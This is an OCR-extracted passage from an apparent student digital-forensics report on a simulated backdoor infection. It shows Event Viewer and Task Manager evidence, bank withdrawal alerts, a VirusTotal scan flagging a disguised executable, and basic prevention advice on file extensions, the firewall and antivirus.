Some of them are,

Checking the payload in the event viewer

4] Event Viewer
File Acion View Help
«=| 2@ HE

[ Event Viewer (Local)
> [ Custom Views

Application  Number of events: 12,462

v [ Windows Logs Level Date and Time Source Event|D Task Category
[-] Application (i)information  1/2/2023 11:43:50 AM Security-SPP 16394 Mone
[#] Security (D Information  1/2/2023 11:07:34 AM Security-SPP 16384  Mone
] setup @Inrarmalian 1/2/2023 11:07:03 AM Security-SPP 16394 Mone
(=] System (Dinformation  1/2/2023 10:57:19 AM Windows Error Reporting 1001 Mone
[] Forwarded Events AIJInfarmauan Windows Emor Reporting 1001 None
» L5 Applications and Services Lo| | (T Windows Error Reporting Mone
.4 Subscriptions

Event 1001, Windows Error Reporting

General Details

Fault bucket 1268078562721256626, type 4
Event Name: APPCRASH

Response: Not availzble

Cab Id: 0

'roblem signature:
P1: attack.exe

P3: dbch3c7d
P4: KERMNELBASE.dIl
P5: 10.0.22621.963

Log Name: Application

Source: Windows Error Reporting
Event ID: 1001

Level: Infermation

Usen SYSTEM

OpCode: Info

More Information:  Event Log Online Help

Logged: 1/2/2023 10:41:00 AM
Tesk Category: None
Keywords:

Computer: Sujen

Actions

Applicati

Open Saved Log...
Create Custom View..

-

Import Custom View...
Clear Leg...
¥ Filter Current Log...
-] Properties
0 Find...
|ed Save All Events As...
Attach 2 Task To this Log...
View
|G| Refrech
H Hep
Event 1001, Windows Error Reporting
(-] EventProperties
) Attach Task To This Event...
S5 Copy
bed Save Selected Events...
dl Refresh

Help

Figure 36: Checking the payload through the event viewer.

Sarthak Bikram Rana

45



CC6010NI

Digital Investigation and E-Discovery

The was receiving messages from the bank with the messages of withdrawing

money in large amounts.

{ NIBL_ALERT

Figure 37: Victim receiving notifications from the bank.
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Dear Customer, Your 123##41009
has been withdrawn by NPR
50000.00 on 11/12/22 20:09:17,
Remarks: ESW DLA:DLA-LFYMX2
Activate bit.ly/2U2dzIO for a/c
balance

A

Nabil SmartBank - Apps on Google

play.google.com

Dear Customer, Your 133##15052
has been withdrawn by NPR
20000.00 on 08/12/22 20:11:52,
Remarks: ESW DLA:DLA-LFYMX2
Activate bit.ly/2U2dzIO for a/c
balance

A

Nabil SmartBank - Apps on Google

O W Q
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There was a payload running in the background as the third-party apache files.

Task Manage o
Processes Performance App history Startup Users Details Services
9% 64% 0% 3% 5%
06% 597 M8 oMe/s 0 Mbps % Very low Very low ~
acke
% 07 M8 oMB/s 0 Mops 0% Very low Very low
at Update Service 0% 0.1 M8 oMess 0 Mbps 0% Very low Very low
% AMD Crash Defender Service % 03mB omss 0 Mbps 0% Very low Very low
o% 12MB OMBs  OMbps 0% Very low Very low
o1me oMa/s 0 Mbps. 0% Very low Very low
0%  129M8  OMS/s  OMbps 0% Very low Very low
mahware Service Executable 06% 1818MB  OIMB/s  OMbps 0% Very low Very low
¥ ApacheBench command line utl 10%  179MB OMB/s 134 Mbps 0% Very low Very low
PRTCITOTTTI - g oD

O\ Autocesk Desizop App (32 bit o 3ame OMB/s 0 Mops 0% Very low Very low
+ Autode: top Lcensng Ser o% 21M8 OMB/s  OMbps o% very low Very low
% 04 M8 oMmB/s 0 Mops. % Very low Very low
0% 12M8 om8/s 0 Mbps % Very low Very low
0% 12M8  OMB/s  OMbps 0% Very low Very low
o 19m8 0 MB8/s 0 Mbps o Very low Very low
0%  O7MB  OMB5s  OMbps 0% Very low Very low
o% JIMB  OMB/s  OMops 0% Very low Very low
0% 40MB8 oMa/s 0 Mops. 0% Very low Very low
o% MB  OMBs  OMbps % Very low Very low

0% QIMB  OMB/s  OMbps o% Very low Very low v

Fewer detads End task

Figure 38: Apache running in the background.

Scanning the file in threat intel platforms after downloading it which can detect the payload
hiding behind it.

VirusTotal - File - e3cf7bb3d303° X +

C @ virustotalcom

45 1) 45 security vendors and no sandboxes flagged this file as malicious & L.‘
©3ci7bb3d303343806452b8eafg281a771c8406031c99a4d0MR56 167305 :
S pibebBeamesial Meotienalcsmatdiizs ? 690.73KB  2023-01-02 095433 UTC al
8 Size amoment ago EXE

The Dawn Show exe

peexe overlay

DETECTION DETAILS BEHAVIOR O COMMUNITY

Security Vendors' Analysis

Acronis (Static ML) D) Suspicious AlYac @) Trojan CryptZ
Antiy-AVL (@) GrayWare/Win32 Tampering.a Arcabit @ Trojan CryptZ Ge
Avast AVG 1) Win32 Meterpreter-C [Trj]

Avira (no cloud) BitDefender (1) Trojan CryptZ Gen

BitDefenderTheta D ClamAV 1) Win Trojan Swr @
Comodo CrowdStrike Falcon 1) Win/malicious_confidence_90% (D

Figure 39: Scanning the file on threat intel platforms.
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7.11 Appendix 11 (Prevention Techniques)

There are prevention techniques that can be used to raise awareness or detect

individuals who are vulnerable to such backdoor attacks.

During this attack, the victim should have checked the extension of the file sent to
him after clicking the link in the email.

* % 0% ¢

Heroof Hearts Cha.. [l Codes [l Anime @ HoyoVerse Networking Essenti. Smart Parking loTt.. P CNR Parking Datas B rootyBite - Live Foo. Rectus Femoris Stra. 3 3. Machine Learnin. B Other bookmarks

M MEGA *®

The Dawn Show.exe 691 KB

Figure 40: Checking the extension of the file.
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Keeping sure that the firewall of the system is always on.

#® Customize Settings

= = v #® > Control Panel > System and Security > Windows Defender Firewall > Customize Settings

Customize settings for each type of network
You can modify the firewall settings for each type of network that you use.
Private network setting
o @ Turn on Windows Defender Firewall
[[] Block all incoming connections, including those in the list of allowed apps

Notify me when Windows Defender Firewall blocks a new app
w (O Tumn off Windows Defender Firewall (not recommended)
Public network settings
(@ Tumn on Windows Defender Firewall

[[] Block all incoming connections, including those in the list of allowed apps

[“] Notify me when Windows Defender Firewall blocks a new app

w (O Tum off Windows Defender Firewall (not recommended)

Cancel

Figure 41: Keeping the firewall of the system on.

Also, keeping the antivirus of the system always on.

Windows Security

% Virus & threat protection settings

View and update Virus & threat protection settings for Microsoft Defender Have a question?

Ar s,
Hovle Antiviru

Virus & threat protection
: Real-time protection Help improve Windows Security
Account protection
Firewall & network protection
App & browser control Change your privacy settings
O Device security
your Windc
Device performance & health

Family options

Protection history

i3 Settings

Figure 42: Keeping the antivirus of the system on.
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